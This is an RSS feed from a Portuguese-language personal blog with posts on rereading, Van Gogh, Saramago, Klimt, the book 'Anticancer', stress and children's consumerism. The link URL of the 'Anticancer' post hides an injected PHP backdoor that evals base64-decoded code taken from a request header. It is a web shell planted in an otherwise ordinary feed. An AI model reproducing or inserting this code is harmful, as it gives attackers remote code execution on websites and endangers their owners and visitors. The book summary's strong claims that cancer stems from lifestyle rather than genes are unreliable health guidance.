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	<title>Livros, filmes, artes...</title>
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	<description>Compartilhando as coisas boas da vida...</description>
	<pubDate>Wed, 21 Apr 2010 22:49:03 +0000</pubDate>
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		<title>O Prazer da Releitura</title>
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		<pubDate>Sat, 17 Apr 2010 13:23:49 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
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		<description><![CDATA[ Ler um texto mais de uma vez faz com que deixemos de ser analfabetos para as entrelinhas,  segundo Guimarães Rosa.

&#8220;VALE A PENA LER DENOVO&#8221;, esse é o título da matéria de Roberta Ávila que li na edição de fevereiro da Revista da Cultura (muito boa e de graça!). O texto traz boas informações sobre a releitura e [...]]]></description>
			<content:encoded><![CDATA[<p><strong> Ler um texto mais de uma vez faz com que deixemos de ser analfabetos para as entrelinhas,  segundo Guimarães Rosa.</strong></p>
<p style="text-align: center;"><a href="http://helomartins.blog.br/wp-content/uploads/2010/04/livro-2.jpg"><img class="size-medium wp-image-207  aligncenter" src="http://helomartins.blog.br/wp-content/uploads/2010/04/livro-2-300x146.jpg" alt="getty images" width="300" height="146" /></a></p>
<p>&#8220;VALE A PENA LER DENOVO&#8221;, esse é o título da matéria de Roberta Ávila que li na edição de fevereiro da Revista da Cultura (muito boa e de graça!). O texto traz boas informações sobre a releitura e também diferentes opiniões sobre a obrigatoriedade de leitura, que, ainda hoje, vemos na prática de muitos professores.</p>
<p> </p>
<p>Quais seríam as implicações de uma releitura?<br />
A matéria coloca que, certamente, não é apenas repetir uma atividade. É lançar um novo olhar ao texto e nos propor a perceber mudanças em nós mesmos. Também uma forma de repensar opiniões ou colocar preconceitos em xeque.<br />
O hábito  de reler persiste mesmo com a correria diária e a incessante busca de novidades a que a mídia nos obriga todos os dias.</p>
<p>Gabriel Perissé, doutor em filosofia da educação, elenca alguns pontos positivos da releitura:<br />
1 -  insistir com convicção em um determinado caminho, confirmando suas qualidades.<br />
2 -  reviver experiências únicas e uma forma de constatar o próprio amadurecimento.<br />
3 -  reafirmar pontos interessantes e perceber outros que escaparam na primeira vez.</p>
<blockquote><p>Encontramos também, na reportagem, duas opiniões sobre a <strong>obrigatoriedade da leitura</strong> nas escolas:<br />
&#8221; De acordo com Gabriel Perissé, certas leituras obrigatórias afastam o leitor iniciante porque são ligadas a motivações externas e passageiras. &#8220;É sempre traumático não encontrar um sentido naquilo que fazemos, com maior ou menor gosto&#8221;, acredita.&#8221;</p>
<p>&#8220;Já Maria Luiza Castro é a favor. Ela considera que a leitura é uma maneira de ajudar o ser humano  a compreender melhor o mundo e a se apropriar da sua cultura. Portanto toda iniciativa para incentivar a formação de leitores é válida.&#8221;</p></blockquote>
<p>Penso que obrigar a ler não é a melhor maneira de formarmos  leitores. Temos que levar as crianças a gostarem da leitura de forma prazerosa e a desenvolverem uma relação de amor com o livro (como sugere a imagem acima). Assim, não concebo esse processo por meio da coerção e da obrigatoriedade.</p>
<p><strong>LINKS:</strong></p>
<p><a href="http://www2.livrariacultura.com.br/culturanews/rc33/index.asp" target="_blank">Revista da Cultura, fevereiro 2010<br />
Edições em PDF</a></p>
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		<title>Van Gogh - contribuição de uma amiga</title>
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		<pubDate>Mon, 15 Mar 2010 00:15:01 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Arte]]></category>

		<category><![CDATA[biografia]]></category>

		<category><![CDATA[pinturas]]></category>

		<category><![CDATA[van gogh]]></category>

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		<description><![CDATA[

Tempos atrás, Dona Mazélia, mãe de minha amiga Marcella e uma graça de pessoa, fez um resumo do livro de Van Gogh que tenho para eu colocar aqui no blog.
Fiquei muito feliz com o carinho, juntei algumas considerações minhas sobre as obras do artista e umas imagens o que resultou no texto abaixo. Espero que [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://helomartins.blog.br/wp-content/uploads/2010/03/autorretrato_van_gogh.jpg"><img class="alignleft size-medium wp-image-190" title="autorretrato_van_gogh" src="http://helomartins.blog.br/wp-content/uploads/2010/03/autorretrato_van_gogh-243x300.jpg" alt="" width="243" height="300" /></a></p>
<div>
<p>Tempos atrás, Dona Mazélia, mãe de minha amiga Marcella e uma graça de pessoa, fez um resumo do livro de Van Gogh que tenho para eu colocar aqui no blog.<br />
Fiquei muito feliz com o carinho, juntei algumas considerações minhas sobre as obras do artista e umas imagens o que resultou no texto abaixo. Espero que gostem!</p>
<p><strong>Auto-Retrato<br />
<span style="font-weight: normal;">Essa tela, de setembro 1889 foi enviada por Van Gogh à seu irmão Théo pedindo que &#8220;notasse que sua expressão estava mais calma&#8221;. Note que foi realizado meses após o episódio do corte na orelha. Talvez seja o seu melhor auto-retrato e  é o que mais me chama atenção. Suas cores são suaves e transmitem tranqüilidade diferentemente daqueles realizados em janeiro de 1889 (O Homem do Cachimbo, com os curativos na orelha) e o de  1888 (auto-retrato diante do cavalete, com cores escuras e pesadas).</span></strong></p>
<p><strong></strong></p>
<p><strong> </strong><strong>Um pouco de teoria</strong></p>
<p class="MsoNormal">Os nomes de Cézane, Gauguin e Vincent Van Gogh figuram inevitavelmente em qualquer lista dos seis maiores e mais populares artistas do Modernismo, tendo a arte de Vincent sempre comunicado mais claramente com maior número de pessoas do que a dos seus dois famosos colegas. Vincent era  o mais consciente de uma tarefa que, a seu ver, se destinava ao grande público e não somente a críticos profissionais ou abastados apreciadores.</p>
<p class="MsoNormal">Os seus objetivos como artista de vanguarda no fim da década de 1880 eram no fundo semelhantes aos do início da década, em que a sua ambição era tornar-se ilustrador de revistas populares, pois acredita que essa forma de arte se coaduna com o grande público.</p>
<p class="MsoNormal">Muitas de suas melhores obras são admiravelmente diretas, constituindo tal fato um aspecto da sua grandeza. A verdade é que a arte de Vincent, mesmo quando considerada em termos puramente sensuais, nos oferece uma visão original que pode alterar e enriquecer a nossa própria experiência da Natureza. Aprender a contemplar as pinturas de Vincent equivale, entre outras coisas, a aumentar nossa própria sensibilidade à cor tanto na Natureza como na arte.</p>
<p class="MsoNormal"><em>“Por outro lado, a iminência da nossa resposta às pinturas de Vincent também pode levar ao risco de prevalorização dos valores morais e poéticos da obra, que não é uma arte de pura e mera sensação e que, devido à sua universalidade, continua a estar historicamente situada, biograficamente situada e culturalmente situada. Vincent tem sido descrito, por exemplo, como um “vitoriano”, noção que nos pode ajudar a efetuar uma apreciação mais completa das qualidades especiais que imediatamente se apresentem na sua arte.” </em>p. VII</p>
<p class="MsoNormal">Vincent é um holandês cujas obras mais importantes foram realizadas na França. A Sempre procurou na arte um sentimento, uma expressividade que fosse além do reflexivamente estético.</p>
<p class="MsoNormal"><em>“Apelidar Vincent de “vitoriano” não equivale portanto a dizer que ele era um puritano, e ainda menos que se tratava de um artista didáctico. Significa, antes, uma outra maneira de dizer que sua arte continha, no sentido mais lato, uma finalidade moral, o que não é a mesma coisa do que uma arte moralista.”</em> p. VIII<em> </em></p>
<p class="MsoNormal">Todas as grandes obras de Vincent partilham da premissa de uma tensão estimulante entre o tema e a maneira como ele é tratado, daí resultando que os tipos da paisagem, do retrato e da pintura figurativa revelam cada um deles um aspecto da sua personalidade artística e também humana. A natureza pintada por Van Gogh era o sentimento que esta nele despertava e não por conhecimento consciente da tradição da paisagem na pintura européia.</p>
<p class="MsoNormal"><span> </span>Fonte: Obras Primas de Van Gogh, Editora: Verbo, São Paulo, 1974</p>
<p class="MsoNormal"><strong>Quem influenciou Van Gogh:<br />
<span style="font-weight: normal;">Tanto seus valores morais como suas idéias sobre arte foram frutos de sua reação à arte e literatura inglesas da era vitoriana  - Millais, G. H. Boughton - e aos realistas sociais - Frank Holl, Luke Fields, Hubert Herkomer, Carlyle, George Elliot, Dickens.</span></strong></p>
<p class="MsoNormal"><strong>A Obra<br />
<a href="http://helomartins.blog.br/wp-content/uploads/2010/04/vincent-van-gogh-the-bedroom-1889-t1-166.jpg"><img class="alignleft size-medium wp-image-235" title="vincent-van-gogh-the-bedroom-1889-t1-166" src="http://helomartins.blog.br/wp-content/uploads/2010/04/vincent-van-gogh-the-bedroom-1889-t1-166-300x224.jpg" alt="" width="300" height="224" /></a> </strong>Algumas de suas obras mais conhecidas são &#8220;O Quarto&#8221; de 1889, &#8220;Girassóis&#8221; de 1888, &#8220;O Homem do Cachimbo&#8221; de 1889, dentre outras.</p>
<p class="MsoNormal">
<p class="MsoNormal">
</div>
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		<title>Ensaio sobre a Cegueira - Saramago</title>
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		<pubDate>Wed, 15 Jul 2009 19:46:44 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Livros]]></category>

		<category><![CDATA[ensaio sobre a cegueira]]></category>

		<category><![CDATA[josé saramago]]></category>

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Optei por iniciar falando do que primeiro nos chama atenção em um livro desconhecido: a capa.
Segundo Evelyn Grumach, em matéria da Revista Cultura, ed.23, a capa não tem a função de entregar a história. As melhores não podem ir além de uma chamada introdutória, uma pista do que virá adiante.
Em “Ensaio Sobre a Cegueira”, a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://helomartins.blog.br/wp-content/uploads/2009/07/ensaio_cegueira_0121.jpg"><img class="alignleft size-medium wp-image-160" title="google images" src="http://helomartins.blog.br/wp-content/uploads/2009/07/ensaio_cegueira_0121-203x300.jpg" alt="" width="183" height="270" /></a><br />
Optei por iniciar falando do que primeiro nos chama atenção em um livro desconhecido: a capa.</p>
<p>Segundo Evelyn Grumach, em matéria da Revista Cultura, ed.23, a capa não tem a função de entregar a história. As melhores não podem ir além de uma chamada introdutória, uma pista do que virá adiante.</p>
<p>Em “Ensaio Sobre a Cegueira”, a obra que ilustra a capa é de Athur Luiz Piza, artista de São Paulo que trabalha e mora em Paris desde 1951. Os elementos estão dispostos de maneira caótica, aglomerados na parte de baixo e se dispersando daí para cima até encontrarmos um solitário no alto à esquerda. Bom, para mim, a obra é realmente uma pista do que irá experimentar o leitor: um desespero inicial e descontrolado que é seguido de uma tentativa de reorganização diante da nova situação: a cegueira. O elemento isolado seria a mulher do médico, a única criatura que não cegou.<br />
Olha o que ela diz sobre isso:</p>
<p><em>“&#8230;perdoem-me a preleção moralística, é que vocês não sabem, não o podem saber, o que                               é ter olhos num mundo de cegos, não sou rainha,não, sou simplesmente a que nasceu                                     para ver o horror,vocês sentem-no, eu sinto-o e vejo-o&#8230;</em>” p.262</p>
<p>Lívia Duarte, em seu texto <strong><a href="http://www.helomartins.com.br/baixar-materiais.html?func=select&amp;id=2&amp;orderby=2&amp;page=2" target="_blank">Barbárie e Humanização no Ensaio sobre a Cegueira</a></strong>, analisa como se configura e o que representa a cegueira na obra:</p>
<p><em>“&#8230;a narrativa em questão promove um jogo entre desumanização e humanização ao trazer passagens, em que se desce aos mais baixos extremos da barbárie, mas, sempre atentando para momentos de solidariedade e de compaixão, ou seja, para momentos em que o reparar se torna fundamental.”</em></p>
<p>Saramago escreve de forma frenética como se acompanhasse os acontecimentos inexplicáveis vivenciados pelas pessoas. O autor não usa ponto final ou parágrafos, parece que suas palavras atropelam o leitor da mesma forma que a cegueira invade a cidade.</p>
<p>Olha o que o próprio Saramago fala sobre o que sentiu ao escrever o livro:</p>
<p style="text-align: left;">“Este é um livro francamente terrível com o qual eu quero que o leitor sofra tanto como eu sofri ao escrevê-lo. Nele se descreve uma longa tortura. É um livro brutal e violento e é simultaneamente uma das experiências mais dolorosas da minha vida. São 300 páginas de constante aflição. Através da escrita, tentei dizer que não somos bons e que é preciso que tenhamos coragem para reconhecer isso”. <strong><a href="http://www.planetaeducacao.com.br/novo/index.asp" target="_blank">(Planeta Educação)</a></strong></p>
<p style="text-align: left;"><strong><a href="http://www.planetaeducacao.com.br/novo/index.asp" target="_blank"><br />
</a><a href="http://helomartins.blog.br/wp-content/uploads/2009/07/cegueira1.jpeg"><img class="alignleft size-medium wp-image-167" title="google images" src="http://helomartins.blog.br/wp-content/uploads/2009/07/cegueira1-201x300.jpg" alt="" width="121" height="180" /></a><br />
O filme</strong></p>
<p>Considerei o filme excelente. Mostra todo aquele absurdo de forma menos brutal que o livro mas ao mesmo tempo ácida e dura. Transmite um sentimento de vazio e dúvida que nos sufoca do início ao fim. Mas, por ser uma adaptação para outra linguagem (o cinema), perdeu-se a inexistência de identidade social e geográfica presente no livro. Nesse não se consegue achar referência alguma a um país ou cidade. Já no filme eu consegui identificar características claras com o modo de vida americano.</p>
<p>Leia mais sobre o filme em<a href="http://www.omelete.com.br/cine/100015057/Ensaio_Sobre_a_Cegueira.aspx" target="_blank"><strong> Omelete</strong></a>, por Érico Borgo<br />
Site oficial:<strong><a href="http://www.ensaiosobreacegueirafilme.com.br/" target="_blank">Ensaio sobre a Cegueira</a></strong></p>
<p><strong>O vocabulário</strong></p>
<p>Outro ponto que achei fantástico é o fato de o livro estar em português de Portugal. A forma de expressar idéias com palavras diferentes das que usamos no Brasil estimula  o nosso , digamos,  “raciocínio lingüístico”.</p>
<p>Alguns exemplos:<br />
<strong>Retrete</strong>: vaso sanitário<br />
Portão <strong>aberto à justa</strong> para um passar: na medida<br />
<strong>Passadeira de peões</strong>: faixa de pedestres (parecer ser)<br />
<strong>Ligar a fenda </strong>(corte): suturar<br />
Não <strong>se fia da palavra</strong>: não se acredita na palavra</p>
<p><strong>Por fim, separei trechos que adorei:</strong></p>
<p><strong>Sobre o arrepender-se de um ato:<br />
<span style="font-weight: normal;"><em>“&#8230;mas também é certo, se isso lhe serve de consolação, que se antes de cada acto nosso nos puséssemos a prever todas as conseqüências dele, a pensar nelas a serio, primeiro as imediatas, depois as prováveis, depois as possíveis, depois as imagináveis, não chegaríamos sequer a mover-nos de onde o primeiro pensamento nos tivesse feito parar.” </em>P. 84</span></strong></p>
<p><strong>Sobre algo inevitável:<br />
<span style="font-weight: normal;"><em>“Vamos lá, tornou a dizer o velho da venda preta, vamos ao que estava decidido, ou é isso, ou ficamos condenados a uma morte lenta, Alguns morrerão mais depressa se formos&#8230;,Quem vai morrer, já está morto e não o sabe, Que temos de morrer, sabemo-lo desde que nascemos, Por isso, de uma certa maneira, é como se já estivéssemos nascidos mortos,”</em>p.196</span></strong></p>
<p><strong>Não decidi sobre o que é esse, apenas gostei&#8230;<br />
<span style="font-weight: normal;"><em>“Não sei se haverá futuro, do que agora se trata é de saber como poderemos viver neste presente, Sem futuro, o presente não serve pra nada, é como se não existisse, Pode ser que a humanidade venha a conseguir viver sem olhos, mas então deixará de ser humanidade, o resultado está a vista, qual de nós se considerará ainda tão humano como antes cria ser(?)”</em>p.244</span></strong></p>
<p><strong>LINKS:</strong></p>
<p>Resumo do livro: <strong><a href="http://www.webartigos.com/articles/6945/1/analise-da-obra-ensaio-sobre-a-cegueira-de-jose-saramago/pagina1.html" target="_blank">webartigos.com</a><br />
<span style="font-weight: normal;">Site do autor: <strong><a href="http://www.caleida.pt/saramago/" target="_blank">José Saramago </a><br />
<span style="font-weight: normal;">Baixar o livro: </span><a href="http://www.livrosparatodos.net/livros-downloads/ensaio-sobre-a-cegueira.html" target="_blank">Livros para Todos </a><br />
<span style="font-weight: normal;">Ensaio sobre a Lucidez: </span><a href="http://pipocasetretas.wordpress.com/2008/03/22/ensaio-sobre-a-lucidez-de-jose-saramago/" target="_blank">Pipocas e Tretas</a> </strong></span></strong></p>
<p><span> </span></p>
<p><span> </span></p>
<p><span> </span></p>
]]></content:encoded>
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		</item>
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		<title>O Beijo&#8230;</title>
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		<pubDate>Fri, 26 Jun 2009 15:36:49 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Arte]]></category>

		<category><![CDATA[amor]]></category>

		<category><![CDATA[beijo]]></category>

		<category><![CDATA[casal]]></category>

		<category><![CDATA[gustav klimt]]></category>

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		<description><![CDATA[
Interessante como fatos, sensações que vivemos nos remetem a outras idéias, imagens e sons, formando uma teia, um emaranhado repleto de sentidos. Será que é assim que nosso banco de dados vai se constituindo? Uma experiência se liga à outra e, por isso mesmo, se torna significativa (Ausubel, só pra nao perder o costume, rsrsrs).
Bom, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><a href="http://helomartins.blog.br/wp-content/uploads/2009/06/the-kiss-gustavo-klimt-1907-19081.jpg"><img class="alignright size-medium wp-image-144" title="the-kiss-gustavo-klimt-1907-19081" src="http://helomartins.blog.br/wp-content/uploads/2009/06/the-kiss-gustavo-klimt-1907-19081-227x300.jpg" alt="" width="227" height="300" /></a></p>
<p style="text-align: left;">Interessante como fatos, sensações que vivemos nos remetem a outras idéias, imagens e sons, formando uma teia, um emaranhado repleto de sentidos. Será que é assim que nosso banco de dados vai se constituindo? Uma experiência se liga à outra e, por isso mesmo, se torna significativa (Ausubel, só pra nao perder o costume, rsrsrs).</p>
<p>Bom, devaneios à parte, um dia desses a obra &#8220;O Beijo&#8221; de Klimt invadiu meus pensamentos&#8230;</p>
<p>Eis minha interpretação:<br />
Os dois elementos se fundem em um só, não existindo delimitação de cada corpo. Há apenas uma sutil diferenciação das formas desenhadas em suas vestimentas.<br />
&#8230; ou talvez estejam apenas sob um manto&#8230;</p>
<p>É como se o artista criasse um mundo a parte somente para esse instante: o beijo&#8230;</p>
<p>Eles estão envoltos numa membrana que salta da tela e se diferencia do fundo escuro e sólido pela cor quente, iluminada e fluida que compõe seus corpos.<br />
A obra é de uma sensualidade e delicadeza envolventes. A mulher, de pele quase translúcida, se deixa envolver por esse momento mágico, efêmero e de uma cumplicidade ímpar.<br />
Ao observá-los quase consigo sentir o aroma, o calor, o toque de um corpo no outro&#8230;</p>
<p>Bom, é isso que vejo.</p>
<p>Outras idéias: Blog -  <a href="http://nanamada.blogspot.com/2007/04/o-beijo-gustav-klimt-190708.html">Arte, manhas</a></p>
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		<item>
		<title>Anticancer - prevenir e vencer usando nossas defesas naturais</title>
		<link>http://helomartins.blog.br/2009/05/30/anticancer-prevenir-e-vencer-usando-nossas-defesas-naturais/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 30 May 2009 17:54:30 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Livros]]></category>

		<category><![CDATA[alimentação]]></category>

		<category><![CDATA[cancer]]></category>

		<category><![CDATA[doença]]></category>

		<category><![CDATA[pesquisa]]></category>

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		<description><![CDATA[
“Todos temos um câncer dormindo em nós”
                                                               Schreiber

O livro, além ser um relato de vida do médico francês David Servan-Schreiber, traz informações científicas sobre como prevenir e combater o câncer fortalecendo as defesas naturais do corpo humano por meio da alimentação e de hábitos de vida.
É um ótimo livro, mas tomem cuidado para, ao lê-lo, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://helomartins.blog.br/wp-content/uploads/2009/05/obj_anticancer.jpg"></a><br />
<strong>“Todos temos um câncer dormindo em nós”</strong><br />
                                                               Schreiber<br />
<a href="http://helomartins.blog.br/wp-content/uploads/2009/05/obj_anticancer1.jpg"><img class="size-medium wp-image-114 alignleft" title="Google" src="http://helomartins.blog.br/wp-content/uploads/2009/05/obj_anticancer1-205x300.jpg" alt="" width="164" height="240" /></a><br />
O livro, além ser um relato de vida do médico francês David Servan-Schreiber, traz informações científicas sobre como prevenir e combater o câncer fortalecendo as defesas naturais do corpo humano por meio da alimentação e de hábitos de vida.<br />
É um ótimo livro, mas tomem cuidado para, ao lê-lo, não ficarem com a idéia de que quase tudo o que comemos passa a ser proibido e nem com a sensação de que certamente teremos um câncer depois de saber que nossos hábitos de vida favorecem o aparecimento do tumor. Pois foi assim que me senti!<br />
Devemos filtrar as informações, pesquisar mais e aproveitar o que seja bom para cada um.</p>
<p>Espero que gostem e boa leitura!</p>
<p><strong><br />
Alguns trechos do livro:<br />
</strong><span style="text-decoration: underline;">Uma atitude pró-câncer</span><br />
“Antes preciso obter meus diplomas, receber meus créditos, é preciso que as crianças cresçam, que eu me aposente&#8230; mais tarde pensarei na felicidade”<br />
<span style="text-decoration: underline;"><br />
Como se desenvolve o câncer?<br />
</span> “As células cancerosas se comportam como bandos armados sem fé nem lei&#8230;Com seus genes anormais, elas escapam aos mecanismos de regulação dos tecidos”<br />
Tais células passam a se multiplicar indefinidamente e liberam substâncias que intoxicam as células imunológicas causando uma inflamação local que estimula ainda mais sua expansão.<br />
“Finalmente, as células cancerosas requisitam os vasos sanguíneos das proximidades e os obrigam a proliferar a fim de fornecer o oxigênio e os nutrientes indispensáveis ao crescimento do tumor”</p>
<p><span style="text-decoration: underline;">Os hábitos de vida determinam o surgimento do câncer</span><br />
“O câncer é uma questão de estilo de vida e não de genes”<br />
Uma pesquisa mostra que herdar genes de pais biológicos mortos de câncer antes dos 50 anos não tem nenhuma influencia sobre o risco de a pessoa desenvolver  um tumor. No entanto se for um pai adotivo, que transmitiu seus hábitos de vida, as chances de aparecimento do câncer se multiplicam por cinco.<br />
<span style="text-decoration: underline;"><br />
Hábitos que fortalecem o sistema imunológico</span><br />
Dieta mediterrânea, indiana, asiática<br />
Emoções expressas<br />
Aceitação e serenidade<br />
Apoio dos amigos e da família<br />
Aceitação de si, com seus valores e sua história<br />
ATIVIDADE FÍSICA REGULAR!<br />
<span style="text-decoration: underline;"><br />
O câncer se nutre de açúcar<br />
</span>Estudos revelam que 56% de nossas calorias vêm de três fontes: açúcares refinados, farinhas brancas, óleos vegetais. Essas fontes não contêm nenhuma proteína, vitamina, mineral ou ácidos graxos essenciais às funções do organismo. No entanto alimentam o crescimento do câncer, pois aumentam o índice glicêmico, fazendo o corpo liberar insulina e a IGF – molécula que estimula o crescimento das células além de estimular os fatores de inflamação.<br />
 <br />
<span style="text-decoration: underline;">Alimentos que ajudam a inibir o câncer de mama</span><br />
 Alho, alho poró, cebolinha, couve flor, repolho, brócolis, rabanete, cebola, espinafre, beterraba, pimentão laranja, entre outros.<br />
<a href="http://helomartins.blog.br/wp-content/uploads/2009/05/alho.jpg"><img class="size-thumbnail wp-image-119 alignleft" title="Google" src="http://helomartins.blog.br/wp-content/uploads/2009/05/alho-150x150.jpg" alt="" width="120" height="120" /></a><br />
O livro traz algumas tabelas com alimentos inibidores de vários tipos de câncer, e, uma curiosidade: o alho aparece em primeiro lugar em todas elas!</p>
<p> Site oficial: <a href="http://www.guerir.fr/" target="_blank">Anticancer</a><br />
 Leia um trecho do livro em: <a href="http://www.scribd.com/doc/6069959/Trecho-de-Anticancer-Prevenir-e-Vencer-Usando-Nossas-Defesas-Naturais" target="_blank">SCRIBD</a></p>
<p> </p>
<p>Bom, fiz uma seleção de links que tratam de qualidade de vida, hábitos saudáveis, alimentação. Tem também receitinhas com alguns alimentos recomendados no livro. Vocês podem fazer e me convidar para apreciá-las, que tal?!<br />
<a href="http://www.ibqv.com.br/php/direitos.php" target="_blank">Instituto Brasileiro de Qualidade de Vida</a><br />
<a href="http://www.slowfoodbrasil.com/content/view/20/37/" target="_blank">Slow Food</a><br />
<a href="http://www.quinuareal.com.br/home.asp" target="_blank">Quinua Real</a><br />
<a href="http://www.copacabanarunners.net/arroz-indiano.html" target="_blank">Arroz indiano</a><br />
<a href="http://www.xenicare.com.br/pc/obesidade/xenicare/web/culinaria/nutrientes_trigo_sarraceno.asp?sub=1&amp;area=alimentos_az" target="_blank">Trigo sarraceno</a></p>
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		<title>Estresse, ansiedade e esgotamento</title>
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		<pubDate>Tue, 21 Apr 2009 17:53:37 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
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		<description><![CDATA[O estresse parece ser o mal de todos nós. Bastante comum é  escutar ou dizer a frase: &#8220;estou estressada&#8221; quase que diariamente. Mas será que sabemos de que se trata tal problema?
Recentemente encontrei um artigo do psiquiatra Geraldo Balloni, publicado na Revista Cérebro e Mente . Apesar de ser antigo (2000), o texto traz definições, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://helomartins.blog.br/wp-content/uploads/2009/04/estress-2.jpg"><img class="alignleft size-medium wp-image-95" title="estress-2" src="http://helomartins.blog.br/wp-content/uploads/2009/04/estress-2-273x300.jpg" alt="" width="273" height="300" /></a>O estresse parece ser o mal de todos nós. Bastante comum é  escutar ou dizer a frase: &#8220;estou estressada&#8221; quase que diariamente. Mas será que sabemos de que se trata tal problema?</p>
<p>Recentemente encontrei um artigo do psiquiatra Geraldo Balloni, publicado na Revista Cérebro e Mente . Apesar de ser antigo (2000), o texto traz definições, sintomas e explica de maneira clara pontos importantes desse mal que se tornou tão comum entre nós professores.</p>
<p>O autor inicia falando sobre ansiedade, que é uma atitude fisiológica do ser humano responsável pela sua adaptação a alguma situação nova e atual. Por exemplo, o despertar do sono, o encontro com um cachorro feroz ou mesmo uma conversa com alguém desconhecido. A ansiedade é um mecanismo de proteção que nos coloca em posição de alerta diante do inesperado.</p>
<p><span> </span>Apesar de esse sentimento ser normal e esperado , pois nos ajuda a enfrentar desafios e tomar decisões, ele só age até o ponto onde nosso organismo atinge um máximo de eficiência. A partir daí, a ansiedade, ao invés de contribuir, promoverá exatamente o contrário, ou seja, poderá resultar na falência da capacidade adaptativa.<br />
A ansiedade pode ser sentida tanto emocionalmente quanto fisicamente:</p>
<p><strong>Sintomas emocionais:<br />
<span style="font-weight: normal;">Sentimento de apreensão<br />
Sensação de que algo está para acontecer<br />
Expectativa e estado de alerta<br />
Constante pressa em terminar as coisas que ainda não fora iniciadas<br />
Estado de &#8220;susto crônico e contínuo&#8221;</span></strong></p>
<p><strong> </strong></p>
<p><strong><strong>Sintomas físicos:<br />
<span style="font-weight: normal;">Tremores ou sensação de fraqueza<span> </span>náuseas e diarréia<br />
Tensão ou dor muscular<span> </span>rubor ou calafrios<br />
Inquietação<span> </span>polaciúria (urina muitas vezes)<br />
Fadiga fácil<span> </span>sensação de bolo na garganta<br />
Falta de ar ou sensação de fôlego curto<span> </span>impaciência<br />
Palpitações<span> </span>resposta exagerada à surpresa<br />
Sudorese, mãos frias e úmidas<span> </span>pouca concentração ou memória prejudicada<br />
Boca seca<span> </span>dificuldade em conciliar e manter o sono<br />
Vertigens e tonturas<span> </span>irritabilidade</span></strong></strong></p>
<p><strong>E o que seria o estresse então?</strong></p>
<p><span> </span>É um processo chamado de Síndrome Geral da Adaptação, descrito inicialmente por Hanz Selye e consiste em três fases sucessivas: Reação de Alarme, Fase de Resistência e Fase de Exaustão. Sendo que a última, Fase de Exaustão, é atingida apenas nas situações mais graves e, normalmente, persistentes.</p>
<p>O autor discorre ainda sobre as seguintes questões:<br />
Fisiologia do Estresse<br />
O Esgotamento<br />
Tipos de Estressores<br />
Quando e Quem se Esgota</p>
<p>Leia o artigo completo na <a href="http://www.cerebromente.org.br/n11/doencas/estresse.htm">Revista Cérebro e Mente</a>, número 11, 2000<br />
Vídeos com o psiquiatra Fábio Beites e a psicóloga Patrícia França no site da Revista Veja:<br />
<a href="http://veja.abril.com.br/videos/saude/stress-1-432479.shtml">Stress1<br />
</a> <a href="http://veja.abril.com.br/videos/saude/stress-2-432480.shtml">Stress2</a></p>
<p><strong>Texto:<br />
<span style="font-weight: normal;"><a href="http://www.helomartins.com.br/baixar-materiais.html?func=select&amp;id=2&amp;orderby=2&amp;page=7" target="_blank">Stress Infantil e as Conseqüências Psicológicas, Familiares e Sociais que Acometem nossos Alunos</a>, Alessandra Bernardes Caturani Wajnsztejn</span></strong></p>
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		<title>Criança, a alma do negócio</title>
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		<pubDate>Sun, 15 Mar 2009 18:46:07 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Artigos]]></category>

		<category><![CDATA[consumo]]></category>

		<category><![CDATA[criança]]></category>

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		<description><![CDATA[
Vídeo: Criança, a alma do negócio
Link YouTube
 Produção e execução: Marcos Nisti
Direção: Estela Renner
Por que meu filho sempre me pede um brinquedo novo? Por que minha filha quer mais uma boneca se ela já tem uma caixa cheia de bonecas? De onde vem este desejo constante de consumo? Este documentário reflete sobre estas questões e [...]]]></description>
			<content:encoded><![CDATA[<div class="headerBold" title="'Criança, a alma do negócio'"><a href="http://helomartins.blog.br/wp-content/uploads/2009/03/79368004.jpg"><img class="alignnone size-medium wp-image-85" title="Getty images.com" src="http://helomartins.blog.br/wp-content/uploads/2009/03/79368004-179x300.jpg" alt="" width="179" height="300" /></a><br />
<strong>Vídeo:</strong> <strong><a href="http://video.msn.com/video.aspx?mkt=pt-BR&amp;vid=27ffab36-ac14-49a1-8837-d58aba319e7b">Criança, a alma do negócio</a></strong></div>
<div class="headerBold" title="'Criança, a alma do negócio'"><strong><a href="http://www.youtube.com/results?search_query=criança+a+alma+do+negócio&amp;search_type=&amp;aq=f" target="_blank">Link YouTube</a><a href="http://video.msn.com/video.aspx?mkt=pt-BR&amp;vid=27ffab36-ac14-49a1-8837-d58aba319e7b"><br />
</a></strong> Produção e execução: Marcos Nisti<br />
Direção: Estela Renner</div>
<div class="headerBold" title="'Criança, a alma do negócio'">Por que meu filho sempre me pede um brinquedo novo? Por que minha filha quer mais uma boneca se ela já tem uma caixa cheia de bonecas? De onde vem este desejo constante de consumo? Este documentário reflete sobre estas questões e mostra como no Brasil a criança se tornou a alma do negócio para a publicidade. Num jogo desigual e desumano, os anunciantes ficam com o lucro enquanto as crianças arcam com o prejuízo de sua infância encurtada. (MSN vídeos)</div>
<p>Ao terminar de ver o vídeo fiquei, no mínimo, preocupada e chocada com a forma que as crianças são bombardeadas pelo o ideal consumista, que acaba por dominar seus desejos e pensamentos de modo automático, ou seja, a criança não sabe o motivo ou a importância de possuir tal objeto,ela apenas o deseja.<br />
O documentário trata também da alimentação, como a TV influencia os hábitos alimentares dos pequenos. Uma das crianças entrevistadas não reconheceu nenhuma das frutas e verduras apresentadas pela entrevistadora, dentre elas mamão, manga, pimentão. Uma outra menina relata que nunca experimentou suco de fruta natural - coisas que hoje eu considero um absurdo, mas parece que para muita gente é normal e até indicativo de status social.</p>
<p>Mandem seus comentários, vamos discutir o assunto e propor formas de abordar esse tema com nossos alunos.</p>
<p>Textos:<br />
